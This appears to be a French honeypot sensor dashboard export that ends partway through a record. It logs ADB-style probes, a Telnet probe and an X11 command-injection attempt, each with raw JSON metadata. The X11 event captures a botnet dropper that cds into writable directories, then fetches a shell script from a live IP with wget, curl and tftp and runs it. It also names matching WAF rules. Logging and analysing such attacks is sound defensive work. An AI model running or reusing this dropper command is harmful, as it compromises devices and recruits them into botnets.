21/07/2026 05:33:04 UTC
TCP
5555 · PERSONAL AGENT
Agent personnel
personal-agent · via PERSONAL AGENT:5555 · (sonde / probe)
Faible
Faible · 5
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
PERSONAL-AGENT
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
5555
Chemin / cible
—
Service
PERSONAL AGENT
Payload
CNXN M ����host::features=cmd,shell_v2
Pourquoi cette classification : Type « personal-agent » (signaux protocolaires) · confiance 50%
Confiance classification
50%
Confiance modérée — signal unique
Risque capteur
Faible
· 5
Confiance : Confiance 50 % — Motif catalogue confirmé
Protocole émulé
1 Signaux
pat-0771
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
CNXN M
����host::features=cmd,shell_v2
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "32323020686f6e6579706f7420706572736f6e616c5f6167656e7420726561647920706f72743d353535350d0a",
"emulator_response_len": 45,
"bytes_in": 51,
"payload_entropy": 4.504513130023709,
"port_category": "registered",
"org": "Banatsync Srl",
"service": "personal-agent",
"app_proto": "personal-agent",
"asn": 198364,
"country": "US",
"dst_port": 5555,
"risk_waf": 8,
"risk_classification": 0,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 22,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1,
"risk_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 15
},
"risk_score": 5,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "888a6b39853f357075a34073a4e945bdda29b414",
"event_fingerprint": "d93c6d08fd760998a271a8a23a13788b18b2adca",
"classification_confidence": 0.5,
"confidence": 0.5,
"precision_signals": [
"pat-0771"
],
"classification_reason": "Type \u00ab personal-agent \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 15,
"risk_score": 5
},
"service_name": "personal-agent",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 198364,
"org": "Banatsync Srl",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "aa1e23931928902c46a015065df736ee",
"path_pattern_hash": "e3da19b853113b154539c506fed9fe37"
},
"target_context": {
"dst_port": 5555,
"service": "personal-agent",
"service_name": "personal-agent",
"risk_score": 5
},
"payload_preview": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"request_sample": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"payload_snippet": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"evidence": {
"request_sample": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"payload_snippet": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"classification_reason": "Type \u00ab personal-agent \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "065ff10c7adb70d5a93e7f1d06656b9a22bc36ef",
"protocol_details": {
"payload_preview": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"port": 5555,
"service": "personal-agent",
"service_label_fr": "PERSONAL AGENT"
},
"evidence_snippet": "CNXNM\n\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"attack_vector": "personal-agent \u00b7 via PERSONAL AGENT:5555 \u00b7 (sonde \/ probe)",
"target_port_label": "5555 \u00b7 PERSONAL AGENT",
"emulator_service": "personal-agent",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab personal-agent \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab personal-agent \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte",
"confidence_pct": 50,
"confidence_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 15,
"risk_score": 5
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 5,
"risk_label": "Faible",
"service_name": "personal-agent",
"service_label_fr": "PERSONAL AGENT",
"dst_port": 5555,
"protocol_emulated": true,
"tags_summary": [
"pat-0771"
],
"tags_summary_labels_fr": [
"pat-0771"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-personal-agent",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"port": 5555,
"service": "personal-agent",
"service_label_fr": "PERSONAL AGENT"
},
"attack_vector": "personal-agent \u00b7 via PERSONAL AGENT:5555 \u00b7 (sonde \/ probe)",
"evidence_snippet": "CNXNM\n\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"target_port_label": "5555 \u00b7 PERSONAL AGENT",
"emulator_service": "personal-agent",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 50 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "personal_agent",
"service_banner": "honeypot-personal-agent",
"service_os": "linux",
"dst_port": "5555"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor"
}
21/07/2026 01:22:53 UTC
TCP
5555 · PERSONAL AGENT
Agent personnel
personal-agent · via PERSONAL AGENT:5555 · (sonde / probe)
Faible
Faible · 5
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
PERSONAL-AGENT
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
5555
Chemin / cible
—
Service
PERSONAL AGENT
Payload
CNXN M ����host::features=cmd,shell_v2
Pourquoi cette classification : Type « personal-agent » (signaux protocolaires) · confiance 50%
Confiance classification
50%
Confiance modérée — signal unique
Risque capteur
Faible
· 5
Confiance : Confiance 50 % — Motif catalogue confirmé
Protocole émulé
1 Signaux
pat-0771
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
CNXN M
����host::features=cmd,shell_v2
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "32323020686f6e6579706f7420706572736f6e616c5f6167656e7420726561647920706f72743d353535350d0a",
"emulator_response_len": 45,
"bytes_in": 51,
"payload_entropy": 4.504513130023709,
"port_category": "registered",
"org": "Banatsync Srl",
"service": "personal-agent",
"app_proto": "personal-agent",
"asn": 198364,
"country": "US",
"dst_port": 5555,
"risk_waf": 8,
"risk_classification": 0,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 22,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1,
"risk_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 15
},
"risk_score": 5,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "888a6b39853f357075a34073a4e945bdda29b414",
"event_fingerprint": "d93c6d08fd760998a271a8a23a13788b18b2adca",
"classification_confidence": 0.5,
"confidence": 0.5,
"precision_signals": [
"pat-0771"
],
"classification_reason": "Type \u00ab personal-agent \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 15,
"risk_score": 5
},
"service_name": "personal-agent",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 198364,
"org": "Banatsync Srl",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "aa1e23931928902c46a015065df736ee",
"path_pattern_hash": "e3da19b853113b154539c506fed9fe37"
},
"target_context": {
"dst_port": 5555,
"service": "personal-agent",
"service_name": "personal-agent",
"risk_score": 5
},
"payload_preview": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"request_sample": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"payload_snippet": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"evidence": {
"request_sample": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"payload_snippet": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"classification_reason": "Type \u00ab personal-agent \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "065ff10c7adb70d5a93e7f1d06656b9a22bc36ef",
"protocol_details": {
"payload_preview": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"port": 5555,
"service": "personal-agent",
"service_label_fr": "PERSONAL AGENT"
},
"evidence_snippet": "CNXNM\n\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"attack_vector": "personal-agent \u00b7 via PERSONAL AGENT:5555 \u00b7 (sonde \/ probe)",
"target_port_label": "5555 \u00b7 PERSONAL AGENT",
"emulator_service": "personal-agent",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab personal-agent \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab personal-agent \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte",
"confidence_pct": 50,
"confidence_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 15,
"risk_score": 5
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 5,
"risk_label": "Faible",
"service_name": "personal-agent",
"service_label_fr": "PERSONAL AGENT",
"dst_port": 5555,
"protocol_emulated": true,
"tags_summary": [
"pat-0771"
],
"tags_summary_labels_fr": [
"pat-0771"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-personal-agent",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"port": 5555,
"service": "personal-agent",
"service_label_fr": "PERSONAL AGENT"
},
"attack_vector": "personal-agent \u00b7 via PERSONAL AGENT:5555 \u00b7 (sonde \/ probe)",
"evidence_snippet": "CNXNM\n\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"target_port_label": "5555 \u00b7 PERSONAL AGENT",
"emulator_service": "personal-agent",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 50 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "personal_agent",
"service_banner": "honeypot-personal-agent",
"service_os": "linux",
"dst_port": "5555"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor"
}
20/07/2026 23:23:58 UTC
TCP
23 · Telnet
Sonde port 23/TCP
port 23 tcp · via Telnet:23 · (sonde / probe)
Élevée
Moyen · 42
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
TELNET
WAF
—
Recommandation
Surveiller
Tags
net_telnet_probe
telnet_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
23
Chemin / cible
—
Preuve honeypot — Sonde port 23/TCP
Connexion détectée sur le port 23 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_23_tcp » (signaux protocolaires) · confiance 55%
Confiance classification
55%
Risque capteur
Moyen
· 42
Confiance : Confiance 55 % — Classification nommée non retenue — preuves insuffisantes
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "fffb01fffb03fffd180d0a5562756e74752032322e3034204c54530d0a686f6e6579706f74206c6f67696e3a20",
"emulator_response_len": 45,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "well_known",
"org": "Banatsync Srl",
"service": "telnet",
"app_proto": "telnet",
"asn": 198364,
"country": "US",
"dst_port": 23,
"risk_waf": 8,
"risk_classification": 38,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.4,
"risk_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0
},
"risk_score": 42,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "ee98e358747c5d752a0eb3d3b34c59d0ffe7f883",
"event_fingerprint": "79b983d64b1c5573cc70fb9163374500a6810d67",
"classification_reason": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"confidence": 0.55,
"classification_confidence": 0.55,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42
},
"named_classification_skipped": true,
"named_candidate": "telnet_probe",
"service_name": "telnet",
"risk_confidence_factor": 55,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 198364,
"org": "Banatsync Srl",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "2bb94c377622e6c9a2e704e9148568af"
},
"target_context": {
"dst_port": 23,
"service": "telnet",
"service_name": "telnet",
"risk_score": 42
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "375a927bb9bbd2eb33edd9b4264c0c0b9afc3f8d",
"protocol_details": {
"port": 23,
"service": "telnet",
"service_label_fr": "Telnet"
},
"attack_vector": "port 23 tcp \u00b7 via Telnet:23 \u00b7 (sonde \/ probe)",
"target_port_label": "23 \u00b7 Telnet",
"emulator_service": "telnet",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"classification_reason_label_fr": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 42\/100",
"confidence_pct": 55,
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "telnet",
"service_label_fr": "Telnet",
"dst_port": 23,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-telnet",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"port": 23,
"service": "telnet",
"service_label_fr": "Telnet"
},
"attack_vector": "port 23 tcp \u00b7 via Telnet:23 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "23 \u00b7 Telnet",
"emulator_service": "telnet",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"confidence_factors_fr": "Confiance 55 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "telnet",
"service_banner": "honeypot-telnet",
"service_os": "linux",
"dst_port": "23"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_telnet_probe",
"telnet_emulated"
]
}
20/07/2026 22:38:24 UTC
TCP
6001 · X11
Injection de commande
cmd injection · via X11:6001 · (tentative d'exploit)
Élevée
Moyen · 54
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
Émulateur
X11
WAF
—
Recommandation
Investiguer
Tags
botnet_c2
net_botnet_attack
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
6001
Chemin / cible
—
Service
X11
Payload
GET /shell?cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.77.227.104/shitmloversishere.sh; curl -O http:/
Pourquoi cette classification : Type « cmd_injection » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 54
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
pat-0773
pat-0144
pat-0145
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 932100 cmd exec
CRS 932190
CRS 932200
CRS 932205
CRS 932206
LFI Double-dot bypass
User-Agent
—
Règles WAF
—
Payload (extrait)
GET /shell?cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.77.227.104/shitmloversishere.sh; curl -O http:/
Requête brute (extrait)
GET /shell?cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.77.227.104/shitmloversishere.sh; curl -O http://31.77.227.104/shitmloversishere.sh; chmod 777 shitmloversishere.sh; sh shitmloversishere.sh; tftp 31.77.227.104 -c get shitmlov
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "32323020686f6e6579706f742078313120726561647920706f72743d363030310d0a",
"emulator_response_len": 34,
"bytes_in": 931,
"payload_entropy": 5.136728271305603,
"port_category": "registered",
"org": "Banatsync Srl",
"service": "x11",
"app_proto": "x11",
"asn": 198364,
"country": "US",
"dst_port": 6001,
"risk_waf": 8,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.6,
"risk_breakdown": {
"waf": 8,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15
},
"risk_score": 54,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "39d5942099c2a62dc9f9086d0044f3f0712a006f",
"event_fingerprint": "0030f7c07c37edf76c1098d39bd4bf2cb97e1c21",
"classification_reason": "Type \u00ab cmd_injection \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 432,
"precision_signals": [
"MITRE-T1059",
"pat-0773",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147"
],
"kb_rule_ids": [
"MITRE-T1059",
"pat-0773",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147"
],
"matched_patterns": [
"pat-0773",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103"
],
"matched_pattern_names": [
"CRS 932100 cmd exec",
"CRS 932190",
"CRS 932200",
"CRS 932205",
"CRS 932206",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0773",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103"
],
"confidence_breakdown": {
"waf": 8,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 54
},
"named_classification_skipped": false,
"service_name": "x11",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 198364,
"org": "Banatsync Srl",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "5b2b3f1130742933265942c28007f012",
"path_pattern_hash": "e27829ef3cf3e010f3932a3317a945f0"
},
"target_context": {
"dst_port": 6001,
"service": "x11",
"service_name": "x11",
"risk_score": 54
},
"payload_preview": "GET \/shell?cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/31.77.227.104\/shitmloversishere.sh; curl -O http:\/",
"request_sample": "GET \/shell?cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/31.77.227.104\/shitmloversishere.sh; curl -O http:\/\/31.77.227.104\/shitmloversishere.sh; chmod 777 shitmloversishere.sh; sh shitmloversishere.sh; tftp 31.77.227.104 -c get shitmlov",
"payload_snippet": "GET \/shell?cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/31.77.227.104\/shitmloversishere.sh; curl -O http:\/",
"evidence": {
"request_sample": "GET \/shell?cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/31.77.227.104\/shitmloversishere.sh; curl -O http:\/\/31.77.227.104\/shitmloversishere.sh; chmod 777 shitmloversishere.sh; sh shitmloversishere.sh; tftp 31.77.227.104 -c get shitmlov",
"payload_snippet": "GET \/shell?cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/31.77.227.104\/shitmloversishere.sh; curl -O http:\/",
"classification_reason": "Type \u00ab cmd_injection \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "af0ecd8f60e290111bdf1d4f05392e4073d6a907",
"protocol_details": {
"payload_preview": "GET \/shell?cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/31.77.227.104\/shitmloversishere.sh; curl -O http:\/",
"port": 6001,
"service": "x11",
"service_label_fr": "X11"
},
"evidence_snippet": "GET \/shell?cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/31.77.227.104\/shitmloversishere.sh; curl -O http:\/",
"attack_vector": "cmd injection \u00b7 via X11:6001 \u00b7 (tentative d'exploit)",
"target_port_label": "6001 \u00b7 X11",
"emulator_service": "x11",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab cmd_injection \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab cmd_injection \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via X11",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 54
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 54,
"risk_label": "Moyen",
"service_name": "x11",
"service_label_fr": "X11",
"dst_port": 6001,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"pat-0773",
"pat-0144",
"pat-0145"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"pat-0773",
"pat-0144",
"pat-0145"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
